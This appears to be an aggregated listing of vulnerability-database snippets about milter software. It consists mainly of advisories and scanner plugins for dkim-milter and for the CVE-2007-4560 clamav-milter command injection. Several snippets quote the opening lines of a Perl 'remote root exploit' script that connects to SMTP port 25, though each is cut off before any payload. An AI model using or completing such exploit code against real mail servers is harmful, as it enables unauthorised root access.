Debian DSA-1728-1 : dkim-milter - improper assertion

It was discovered that dkim-milter, an implementation of the DomainKeys Identified Mail protocol, may crash during DKIM verification if it encounters a specially crafted or revoked public key record in DNS. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package chec...

[SECURITY] [DSA 1728-1] New dkim-milter packages fix denial of service

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1728-1 [email protected] http://www.debian.org/security/ Florian Weimer February 27, 2009 http://www.debian.org/security/faq -...

[SECURITY] [DSA 1728-1] New dkim-milter packages fix denial of service

------------------------------------------------------------------------ Debian Security Advisory DSA-1728-1 [email protected] http://www.debian.org/security/ Florian Weimer February 27, 2009 http://www.debian.org/security/faq -...

DSA-1728-1 dkim-milter - denial of service

Bulletin has no description...

FreeBSD Ports: milter-bogom

The remote host is missing an update to the system as announced in the referenced advisory. VID 6d9a28f8-8152-11da-817c-0001020eed82 OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...

FreeBSD Ports: milter-bogom

The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

ClamAV Milter Blackhole-Mode Remote Code Execution

This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter' Sendmail mail filter. Versions prior to v0.92.2 are vulnerable. When implemented with black hole mode enabled, it is possible to execute commands remotely due to an insecure popen call. This module requires Metasploit:...

AXIMilter Detection

The remote service is an AXIGEN milter filtering daemon, also known as AXIMilter, which is used by AXIGEN to interface with third-party milters such as Avira MailGate, Symantec Brightmail AntiSpam, etc. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc';...

Milter Detection

The remote service is a milter, which provides an interface between a mail transfer agent MTA such as sendmail and an application such as SpamAssassin or ClamAV for filtering messages. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include"compat.inc"; if...

black-hole.txt

black-hole.pl Sendmail w/ clamav-milter Remote Root Exploit Copyright c 2007 Eliteboy use IO::Socket; print "Sendmail w/ clamav-milter Remote Root Exploit\n"; print "Copyright C 2007 Eliteboy\n"; if $ARGV != 0 print "Give me a host to connect.\n";exit; print "Attacking $ARGV0...\n"; $sock =...

Sendmail with clamav-milter < 0.91.2 Remote Root Exploit

No description provided by source. black-hole.pl Sendmail w/ clamav-milter Remote Root Exploit Copyright c 2007 Eliteboy use IO::Socket; print "Sendmail w/ clamav-milter Remote Root Exploit\n"; print "Copyright C 2007 Eliteboy\n"; if $ARGV != 0 print "Give me a host to connect.\n";exit;...

Sendmail with clamav-milter 0.91.2 - Remote Command Execution

Sendmail with clamav-milter 0.91.2 - Remote Command Execution black-hole.pl Sendmail w/ clamav-milter Remote Root Exploit Copyright c 2007 Eliteboy use IO::Socket; print "Sendmail w/ clamav-milter Remote Root Exploit\n"; print "Copyright C 2007 Eliteboy\n"; if $ARGV != 0 print "Give me a host to...

Sendmail with clamav-milter < 0.91.2 Remote Root Exploit

Exploit for multiple platform in category remote exploits ======================================================== Sendmail with clamav-milter newPeerAddr = $ARGV0, PeerPort = '25', Proto = 'tcp'; print $sock "ehlo you\r\n"; print $sock "mail from: \r\n"; print $sock "rcpt to:...

Sendmail with clamav-milter < 0.91.2 - Remote Command Execution

black-hole.pl Sendmail w/ clamav-milter Remote Root Exploit Copyright c 2007 Eliteboy use IO::Socket; print "Sendmail w/ clamav-milter Remote Root Exploit\n"; print "Copyright C 2007 Eliteboy\n"; if $ARGV != 0 print "Give me a host to connect.\n";exit; print "Attacking $ARGV0...\n"; $sock =...

Fedora 7 : clamav-0.91.2-2.fc7 (2007-2050)

Sat Aug 25 2007 Enrico Scholz - 0.91.2-2 - fixed an open2 issue - Sat Aug 25 2007 Enrico Scholz - 0.91.2-1 - updated to 0.91.2 SECURITY : - CVE-2007-4510 DOS in RTF parser - DOS in html normalizer - arbitrary command execution by special crafted recipients in clamav-milter's black-hole mode Note...

ClamAV: Multiple vulnerabilities

Background Clam AntiVirus is an open source GPL anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways. Description Nikolaos Rangos discovered a vulnerability in ClamAV which exists because the recipient address extracted from email messages is not properly sanitize...

ClamAV milter popen command injection

Added: 09/06/2007 CVE: CVE-2007-4560 BID: 25439 OSVDB: 36909 Background ClamAV is an open-source anti-virus toolkit. clamav-milter is a derivative of ClamAV for e-mail servers running Sendmail. Problem An insecure call to the popen function in clamav-milter, when running in black hole mode, allow...

ClamAV milter popen command injection

Added: 09/06/2007 CVE: CVE-2007-4560 BID: 25439 OSVDB: 36909 Background ClamAV is an open-source anti-virus toolkit. clamav-milter is a derivative of ClamAV for e-mail servers running Sendmail. Problem An insecure call to the popen function in clamav-milter, when running in black hole mode, allow...

ClamAV milter popen command injection

Added: 09/06/2007 CVE: CVE-2007-4560 BID: 25439 OSVDB: 36909 Background ClamAV is an open-source anti-virus toolkit. clamav-milter is a derivative of ClamAV for e-mail servers running Sendmail. Problem An insecure call to the popen function in clamav-milter, when running in black hole mode, allow...

ClamAV milter popen command injection

Added: 09/06/2007 CVE: CVE-2007-4560 BID: 25439 OSVDB: 36909 Background ClamAV is an open-source anti-virus toolkit. clamav-milter is a derivative of ClamAV for e-mail servers running Sendmail. Problem An insecure call to the popen function in clamav-milter, when running in black hole mode, allow...